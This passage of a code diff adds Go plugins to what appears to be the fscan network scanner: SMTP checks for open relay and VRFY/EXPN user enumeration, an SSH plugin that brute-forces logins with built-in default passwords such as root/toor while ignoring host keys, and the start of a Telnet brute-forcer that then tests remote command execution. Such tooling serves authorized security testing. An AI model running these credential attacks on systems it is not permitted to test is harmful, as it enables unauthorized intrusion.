|
||||
ErrorType: classifySMTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
client, err := smtp.NewClient(conn, info.Host)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if cred.Username != "" {
|
||||
auth := smtp.PlainAuth("", cred.Username, cred.Password, info.Host)
|
||||
if err := client.Auth(auth); err != nil {
|
||||
_ = client.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if err := client.Mail("[email protected]"); err != nil {
|
||||
_ = client.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: true,
|
||||
Conn: &smtpClientWrapper{client},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// smtpClientWrapper 包装SMTP客户端以实现io.Closer
|
||||
type smtpClientWrapper struct {
|
||||
client *smtp.Client
|
||||
}
|
||||
|
||||
func (w *smtpClientWrapper) Close() error {
|
||||
return w.client.Close()
|
||||
}
|
||||
|
||||
// classifySMTPErrorType SMTP错误分类
|
||||
func classifySMTPErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
smtpAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"authentication failure",
|
||||
"auth failed",
|
||||
"login failed",
|
||||
"invalid credentials",
|
||||
"invalid username or password",
|
||||
"username or password incorrect",
|
||||
"password incorrect",
|
||||
"access denied",
|
||||
"permission denied",
|
||||
"unauthorized",
|
||||
"not authorized",
|
||||
"authentication required",
|
||||
"535 authentication failed",
|
||||
"535 incorrect authentication",
|
||||
"535 invalid credentials",
|
||||
"535 authentication credentials invalid",
|
||||
"534 authentication mechanism is too weak",
|
||||
"530 authentication required",
|
||||
"530 must authenticate",
|
||||
"451 authentication aborted",
|
||||
"bad username or password",
|
||||
"invalid user",
|
||||
"user unknown",
|
||||
"mailbox unavailable",
|
||||
"relay access denied",
|
||||
"relay not permitted",
|
||||
}
|
||||
|
||||
return ClassifyError(err, smtpAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试SMTP未授权访问
|
||||
func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
// 测试匿名访问
|
||||
if result := p.testAnonymousAccess(ctx, info, config, state); result != nil {
|
||||
return result
|
||||
}
|
||||
|
||||
// 测试开放中继
|
||||
if result := p.testOpenRelay(ctx, info, config, state); result != nil {
|
||||
return result
|
||||
}
|
||||
|
||||
// 测试VRFY命令
|
||||
if result := p.testVRFYCommand(ctx, info, config, state); result != nil {
|
||||
return result
|
||||
}
|
||||
|
||||
// 测试EXPN命令
|
||||
if result := p.testEXPNCommand(ctx, info, config, state); result != nil {
|
||||
return result
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// testAnonymousAccess 测试匿名邮件发送
|
||||
func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
client, err := smtp.NewClient(conn, info.Host)
|
||||
if err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = client.Quit() }()
|
||||
|
||||
if err := client.Hello("fscan.test"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
if err := client.Mail("[email protected]"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
if err := client.Rcpt("[email protected]"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: "未授权访问 - 允许匿名邮件发送",
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// testOpenRelay 测试开放中继
|
||||
func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
client, err := smtp.NewClient(conn, info.Host)
|
||||
if err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = client.Quit() }()
|
||||
|
||||
if err := client.Hello("fscan.test"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
if err := client.Mail("[email protected]"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
if err := client.Rcpt("[email protected]"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: "未授权访问 - 开放中继",
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// testVRFYCommand 测试VRFY命令用户枚举
|
||||
func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
buffer := make([]byte, 1024)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
response := string(buffer[:n])
|
||||
|
||||
if !strings.HasPrefix(response, "250") {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
testUsers := []string{"admin", "root", "test", "user", "postmaster", "administrator"}
|
||||
|
||||
for _, user := range testUsers {
|
||||
if _, err := fmt.Fprintf(conn, "VRFY %s\r\n", user); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
vrfyResponse := strings.TrimSpace(string(buffer[:n]))
|
||||
|
||||
if strings.HasPrefix(vrfyResponse, "250") {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: fmt.Sprintf("未授权访问 - VRFY命令枚举用户(%s)", user),
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
resultChan <- nil
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// testEXPNCommand 测试EXPN命令邮件列表枚举
|
||||
func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
buffer := make([]byte, 1024)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
response := string(buffer[:n])
|
||||
if !strings.HasPrefix(response, "250") {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
testLists := []string{"all", "staff", "users", "admin", "everyone", "postmaster"}
|
||||
|
||||
for _, list := range testLists {
|
||||
if _, err := fmt.Fprintf(conn, "EXPN %s\r\n", list); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
expnResponse := strings.TrimSpace(string(buffer[:n]))
|
||||
|
||||
if strings.HasPrefix(expnResponse, "250") {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: fmt.Sprintf("未授权访问 - EXPN命令枚举邮件列表(%s)", list),
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
resultChan <- nil
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// getServerInfo 获取SMTP服务器信息
|
||||
func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) string {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan string, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- ""
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
buffer := make([]byte, 1024)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
resultChan <- ""
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
welcome := strings.TrimSpace(string(buffer[:n]))
|
||||
|
||||
if strings.HasPrefix(welcome, "220") {
|
||||
serverInfo := strings.TrimPrefix(welcome, "220 ")
|
||||
resultChan <- serverInfo
|
||||
return
|
||||
}
|
||||
|
||||
resultChan <- welcome
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
// identifyService SMTP服务识别
|
||||
func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
serverInfo := p.getServerInfo(ctx, info, config, state)
|
||||
var banner string
|
||||
|
||||
if serverInfo != "" {
|
||||
banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo)
|
||||
} else {
|
||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smtp",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
banner = "SMTP邮件服务"
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("smtp_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "smtp",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("smtp", func() Plugin {
|
||||
return NewSMTPPlugin()
|
||||
}, []int{25, 465, 587, 2525})
|
||||
}
|
||||
@@ -0,0 +1,288 @@
|
||||
//go:build plugin_ssh || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"golang.org/x/crypto/ssh"
|
||||
)
|
||||
|
||||
// 预编译正则表达式
|
||||
var sshBannerRegex = regexp.MustCompile(`SSH-([0-9.]+)-(.+)`)
|
||||
|
||||
// SSHPlugin SSH扫描插件
|
||||
type SSHPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewSSHPlugin 创建SSH插件
|
||||
func NewSSHPlugin() *SSHPlugin {
|
||||
return &SSHPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("ssh"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行SSH扫描
|
||||
func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 如果指定了SSH密钥,优先使用密钥认证
|
||||
if config.Credentials.SSHKeyPath != "" {
|
||||
if result := p.scanWithKey(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
// 如果禁用暴力破解,只做服务识别
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(info, config, state)
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("ssh", config)
|
||||
if len(credentials) == 0 {
|
||||
credentials = []Credential{
|
||||
{Username: "root", Password: ""},
|
||||
{Username: "root", Password: "root"},
|
||||
{Username: "root", Password: "toor"},
|
||||
{Username: "admin", Password: "admin"},
|
||||
{Username: "admin", Password: ""},
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ssh", testConfig)
|
||||
|
||||
// 记录成功
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("ssh_pwd_auth_success", target, result.Username, result.Password)) //nolint:govet
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建SSH认证函数
|
||||
func (p *SSHPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doSSHAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doSSHAuth 执行SSH认证
|
||||
func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
// 创建SSH配置
|
||||
sshConfig := &ssh.ClientConfig{
|
||||
User: cred.Username,
|
||||
Timeout: config.Timeout,
|
||||
//nolint:gosec // G106: 扫描工具需要忽略主机密钥验证以连接未知主机
|
||||
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||
}
|
||||
|
||||
// 设置认证方法
|
||||
if len(cred.KeyData) > 0 {
|
||||
signer, err := ssh.ParsePrivateKey(cred.KeyData)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
sshConfig.Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||||
} else {
|
||||
sshConfig.Auth = []ssh.AuthMethod{ssh.Password(cred.Password)}
|
||||
}
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySSHErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 在TCP连接上创建SSH客户端
|
||||
sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, sshConfig)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySSHErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 创建SSH客户端
|
||||
client := ssh.NewClient(sshConn, chans, reqs)
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &sshClientWrapper{client},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// sshClientWrapper 包装 ssh.Client 以实现 io.Closer
|
||||
type sshClientWrapper struct {
|
||||
*ssh.Client
|
||||
}
|
||||
|
||||
func (w *sshClientWrapper) Close() error {
|
||||
return w.Client.Close()
|
||||
}
|
||||
|
||||
// classifySSHErrorType SSH错误分类
|
||||
func classifySSHErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
// SSH 特有的认证错误(密码错误)
|
||||
sshAuthErrors := append(CommonAuthErrors,
|
||||
"unable to authenticate",
|
||||
"no supported methods remain",
|
||||
)
|
||||
|
||||
// SSH 特有的网络/临时错误(需要重试)
|
||||
sshNetworkErrors := append(CommonNetworkErrors,
|
||||
"handshake failed", // 握手失败,可能是服务端限流
|
||||
"ssh: disconnect", // SSH 主动断开
|
||||
"connection closed", // 连接被关闭
|
||||
"max startups", // SSH MaxStartups 限制
|
||||
"too many authentication", // 认证次数过多
|
||||
)
|
||||
|
||||
return ClassifyError(err, sshAuthErrors, sshNetworkErrors)
|
||||
}
|
||||
|
||||
// scanWithKey 使用SSH私钥扫描
|
||||
func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
keyData, err := os.ReadFile(config.Credentials.SSHKeyPath)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet
|
||||
return nil
|
||||
}
|
||||
|
||||
usernames := config.Credentials.Userdict["ssh"]
|
||||
if len(usernames) == 0 {
|
||||
usernames = []string{"root", "admin", "ubuntu", "centos", "user", "git", "www-data"}
|
||||
}
|
||||
|
||||
// 逐个测试用户名
|
||||
for _, username := range usernames {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
|
||||
cred := Credential{
|
||||
Username: username,
|
||||
KeyData: keyData,
|
||||
}
|
||||
|
||||
result := p.doSSHAuth(ctx, info, cred, config, state)
|
||||
if result.Success {
|
||||
if result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Success: true,
|
||||
Service: "ssh",
|
||||
Username: username,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// identifyService 服务识别
|
||||
func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ssh",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if banner := p.readSSHBanner(conn, config); banner != "" {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
common.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "ssh",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ssh",
|
||||
Error: fmt.Errorf("无法识别为SSH服务"),
|
||||
}
|
||||
}
|
||||
|
||||
// readSSHBanner 读取SSH服务器Banner
|
||||
func (p *SSHPlugin) readSSHBanner(conn net.Conn, config *common.Config) string {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
banner := make([]byte, 256)
|
||||
n, err := conn.Read(banner)
|
||||
if err != nil || n < 4 {
|
||||
return ""
|
||||
}
|
||||
|
||||
bannerStr := strings.TrimSpace(string(banner[:n]))
|
||||
|
||||
if strings.HasPrefix(bannerStr, "SSH-") {
|
||||
if matched := sshBannerRegex.FindStringSubmatch(bannerStr); len(matched) >= 3 {
|
||||
return fmt.Sprintf("SSH %s (%s)", matched[1], matched[2])
|
||||
}
|
||||
return fmt.Sprintf("SSH服务: %s", bannerStr)
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPluginWithPorts("ssh", func() Plugin {
|
||||
return NewSSHPlugin()
|
||||
}, []int{22, 2222, 2200, 22222})
|
||||
}
|
||||
|
||||
// 确保实现了 io.Closer 接口
|
||||
var _ io.Closer = (*sshClientWrapper)(nil)
|
||||
@@ -0,0 +1,754 @@
|
||||
//go:build plugin_telnet || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// Telnet协议时间常量
|
||||
const (
|
||||
telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟
|
||||
telnetRetryDelay = 500 * time.Millisecond // 重试延迟
|
||||
telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟
|
||||
telnetReadTimeout = 2 * time.Second // 读取超时
|
||||
telnetBannerTimeout = 3 * time.Second // Banner读取超时
|
||||
telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时
|
||||
telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时
|
||||
telnetMaxAttempts = 10 // 最大尝试次数
|
||||
)
|
||||
|
||||
// TelnetPlugin Telnet扫描插件
|
||||
type TelnetPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewTelnetPlugin() *TelnetPlugin {
|
||||
return &TelnetPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("telnet"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("telnet_service", target, result.Banner))
|
||||
// 验证命令执行能力
|
||||
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", config, state); ok {
|
||||
common.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence))
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// 生成密码字典
|
||||
credentials := plugins.GenerateCredentials("telnet", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "telnet",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 转换凭据类型
|
||||
creds := make([]Credential, len(credentials))
|
||||
for i, c := range credentials {
|
||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "telnet", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password))
|
||||
// 验证命令执行能力
|
||||
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, config, state); ok {
|
||||
common.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence))
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Telnet认证函数
|
||||
func (p *TelnetPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doTelnetAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doTelnetAuth 执行Telnet认证
|
||||
func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyTelnetErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
if p.performTelnetAuth(conn, cred.Username, cred.Password) {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: true,
|
||||
Conn: &telnetConnWrapper{conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
} else {
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("认证失败"),
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// telnetConnWrapper 包装Telnet连接以实现io.Closer
|
||||
type telnetConnWrapper struct {
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func (w *telnetConnWrapper) Close() error {
|
||||
return w.conn.Close()
|
||||
}
|
||||
|
||||
// classifyTelnetErrorType Telnet错误分类
|
||||
func classifyTelnetErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
telnetAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"authentication failure",
|
||||
"auth failed",
|
||||
"login failed",
|
||||
"invalid credentials",
|
||||
"invalid password",
|
||||
"invalid username",
|
||||
"access denied",
|
||||
"login incorrect",
|
||||
